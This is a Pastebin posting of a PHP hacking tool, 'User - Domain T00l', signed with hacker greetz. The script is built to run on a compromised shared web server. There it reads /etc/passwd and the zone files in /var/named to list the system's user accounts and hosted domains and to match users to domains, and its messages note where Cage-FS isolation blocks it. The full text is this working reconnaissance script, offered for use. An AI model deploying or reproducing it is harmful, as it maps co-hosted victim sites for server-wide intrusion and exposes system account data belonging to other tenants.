Advertisement
snip3r_ir

User - Domain T00l By ali ahmady

Jan 5th, 2014
251
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.98 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title> User-Domain T00l </title>
  4. <link rel="shortcut icon" href='http://www.rsyncit.com/images/whm-icon.png' />
  5. <meta http-equiv=Content-Type content=text/html; charset=UTF-8>
  6. </head>
  7. <body bgcolor="#34282C">
  8. <center>
  9. <p><span lang="en-us"><font color="#4CC417" size="5">User - Domain T00l By ali ahmady </font>
  10. </span></p>
  11. <p><img src="http://www.iconhot.com/icon/png/coded/512/page-php.png" height="120" width="120"/></p>
  12. <form method="POST" action="" align="center">
  13. <p><font color="red" size="4"> Get User List </font></p>
  14. <input type="submit" name="user" value="Get!"/>
  15. <p><font color="red" size="4"> Get Domain List </font></p>
  16. <input type="submit" name="domain" value="Get!"/>
  17. <p><font color="red" size="4"> Get User And Domains </font></p>
  18. <input type="submit" name="usdo" value="Get!"/>
  19.  
  20.  
  21. </form>
  22. </td></tr></table></p>
  23. </form>
  24. <!--/exp-->
  25. </center>
  26.  
  27. <?php
  28. echo "
  29. <center><table>";
  30.  
  31.     $files = glob('/var/named/*.db');
  32.     $passwd = explode("\n",file_get_contents('/etc/passwd'));
  33.    
  34.    
  35.     if(isset($_POST['usdo']))
  36.     {
  37.     echo "<table border=\"1\" align=\"center\" bgcolor=\"#FFA500\">";
  38.     foreach($files as $file)
  39.     {  
  40.        
  41.         $domain=str_replace(".","",substr($file,11,5));
  42.        
  43.         foreach($passwd as $pwd)
  44.         {
  45.    
  46.             $user = str_replace(":","",substr($pwd,0,5));
  47.            
  48.             if($user == $domain)
  49.             {
  50.                 $site = substr($file,11,-3);
  51.                 $pw = strstr($pwd,":", true);
  52.                 echo "<tr>";
  53.                 echo "</p><font color=\"#E5E4E2\">";
  54.                 echo "<td align=\"center\"><a href=http://$site/  style=\"color: #CC0000\">$site</a></td>";
  55.                 echo "<td align=\"center\">$pw </td>";
  56.                 echo "</font></p>";
  57.                 echo "</tr>";
  58.                
  59.             }
  60.            
  61.         }
  62.        
  63.        
  64.     }
  65.     echo "</table>";
  66.     }
  67.     else if(isset($_POST['domain']))
  68.     {
  69.     echo "<table border=\"1\" align=\"center\" bgcolor=\"#FFA500\">";
  70.         foreach($files as $file)
  71.         {  
  72.             $site = substr($file,11,-3);
  73.            
  74.             echo "<tr>";
  75.             echo "</p><font color=\"#E5E4E2\">";
  76.             echo "<td align=\"center\"><a href=http://$site/  style=\"color: #CC0000\">$site</a></td>";
  77.             echo "</font></p>";
  78.             echo "</tr>";
  79.            
  80.            
  81.         }
  82.         echo "</table>";
  83.        
  84.        
  85.         echo "</p><font color=\"#E5E4E2\">";
  86.         echo "----------------------------------------------------<br />";
  87.         echo "total = ".count($files) . "<br />";
  88.         echo "</font></p>";
  89.         if(count($files) == 0)
  90.         {
  91.             echo "</p><font color=\"#E5E4E2\">";
  92.             echo "Cage-FS or /var/named is not readable!";
  93.             echo "</font></p>";
  94.         }
  95.        
  96.     }
  97.     else if(isset($_POST['user']))
  98.     {
  99.         echo "<table border=\"1\" align=\"center\" bgcolor=\"#FFA500\">";
  100.         foreach($passwd as $pwd)
  101.         {
  102.    
  103.             $user = str_replace(":","",substr($pwd,0,5));
  104.             $u = strstr($pwd,":", true);
  105.             echo "<tr>";
  106.             echo "</p><font color=\"#E5E4E2\">";
  107.             echo "<td align=\"center\">$u</td>";
  108.             echo "</font></p>";
  109.             echo "</tr>";
  110.            
  111.         }
  112.         echo "</table>";
  113.     }
  114.     echo "</table></center>";
  115. ?>
  116. <center>
  117. <p><span lang="en-us"><font color="#4CC417" size="2">Greetz: b0x - pHaNtOm_X </font>
  118. </span></p>
  119. </center>
  120. </body>
  121. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement